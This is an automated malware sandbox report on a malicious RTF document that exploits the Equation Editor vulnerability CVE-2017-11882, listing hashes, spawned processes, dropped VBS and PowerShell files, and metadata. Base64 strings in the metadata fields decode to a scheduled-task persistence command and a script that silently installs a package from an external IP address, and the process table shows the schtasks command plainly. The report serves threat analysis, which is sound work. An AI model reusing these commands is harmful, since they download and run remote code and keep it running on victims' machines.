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| File name: | bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf |
| Full analysis: | https://app.any.run/tasks/904d9d5e-8326-4e8b-862f-be615f260229 |
| Verdict: | Malicious activity |
| Analysis date: | April 23, 2019, 13:32:57 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, ANSI |
| MD5: | B3F8ABE274CB6A5926BD5C3FC2168997 |
| SHA1: | D3AE9CAA678754631AED1C82C409B5D43A0A9C80 |
| SHA256: | BF9987B84B3F7DAAA460777E5850A60F10898D0238048D3D5D07D7EC1656E47A |
| SSDEEP: | 3072:7Qc9WBKBHFuVPrlmIAzqv/njAa1UWGV0ODJ:7QIW4BluVPR53njAMGVdDJ |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 2152)
Uses Task Scheduler to run other applications
- EQNEDT32.EXE (PID: 2596)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 3032)
SUSPICIOUS
Creates files in the Windows directory
- EQNEDT32.EXE (PID: 2596)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3140)
Creates files in the user directory
- WINWORD.EXE (PID: 3140)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| Title: | Dear All |
|---|---|
| Subject: | c2NodGFza3MgL2NyZWF0ZSAvc2MgTUlOVVRFIC90biAiQXBwIiAvdHIgIkM6XFdpbmRvd3NcdHJhY2luZ1x0cmFjaW5nLnZicyIgL21vIDIgL0Y= |
| Author: | Windows User |
| Comments: | U2V0IHdzID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCndzLlJ1biAibXNpZXhlYyAvcSAvaSBodHRwOi8vMTg1LjIzNC43My40L0IiLDA= |
| LastModifiedBy: | AntiSec |
| CreateDate: | 2019:04:17 10:33:00 |
| ModifyDate: | 2019:04:17 10:33:00 |
| RevisionNumber: | 2 |
| TotalEditTime: | 1 minute |
| Pages: | 1 |
| Words: | 129 |
| Characters: | 741 |
| Company: | c2NodGFza3MgL2NyZWF0ZSAvc2MgTUlOVVRFIC90biAiQXBwIiAvdHIgIkM6XFdpbmRvd3NcdHJhY2luZ1x0cmFjaW5nLnZicyIgL21vIDIgL3J1IHN5c3RlbQ== |
| CharactersWithSpaces: | 869 |
| InternalVersionNumber: | 24689 |
Total processes
36
Monitored processes
4
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3140 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\bf9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2152 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
| 2596 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | EQNEDT32.EXE |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
| 3032 | schtasks.exe /create /sc MINUTE /tn ChromeApp /tr "C:\Windows\tracing\ChromeApp.vbs" /mo 2 /F | C:\Windows\system32\schtasks.exe | — | EQNEDT32.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 043
Read events
713
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
1
Text files
2
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3140 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR5621.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2596 | EQNEDT32.EXE | C:\Windows\tracing\ChromeApp.ps1 | text | |
MD5:7659725493D248C2AB23A7134EB532D0 | SHA256:C5D3550D518024D4B4BE073E6307D1728A05AE3AF8F31A9D31031A4F1CEB85BE | |||
| 3140 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\8.t | binary | |
MD5:C3B087297C2DFDCD44BFF7DF6C4F27DB | SHA256:9EC83E7A2B22C3A03DB2C2B84234404D07A81B5B0AFCE52FB83BA8F3DF90B68C | |||
| 3140 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$9987b84b3f7daaa460777e5850a60f10898d0238048d3d5d07d7ec1656e47a.rtf | pgc | |
MD5:0A778CC6202F02AC5FEFB4099D000158 | SHA256:6F312809B821E67C7AB30921658ED0200D86D95D91A049F77DC9920D0C45E803 | |||
| 3140 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:03F75A861CC10AD1C3318BEB891B725B | SHA256:7EBE4AE513B230A4E93B55D5C5B1A8281E935A6A42B38FA33B58EA5B73980E58 | |||
| 2596 | EQNEDT32.EXE | C:\Windows\tracing\ChromeApp.vbs | text | |
MD5:520BB90BC1B7E8A8203E9856C209105E | SHA256:63A604385DE613DF41870A92FB4D890892C2BB106852549FAB197026CAA8FE2D | |||
| 3140 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5909E647.wmf | wmf | |
MD5:82154D73906767D7B810864B32E3EBAD | SHA256:6FD66589D2ED5D42039174EA02F331F127EFEB166E61EA3558B0EA7A2B771A77 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report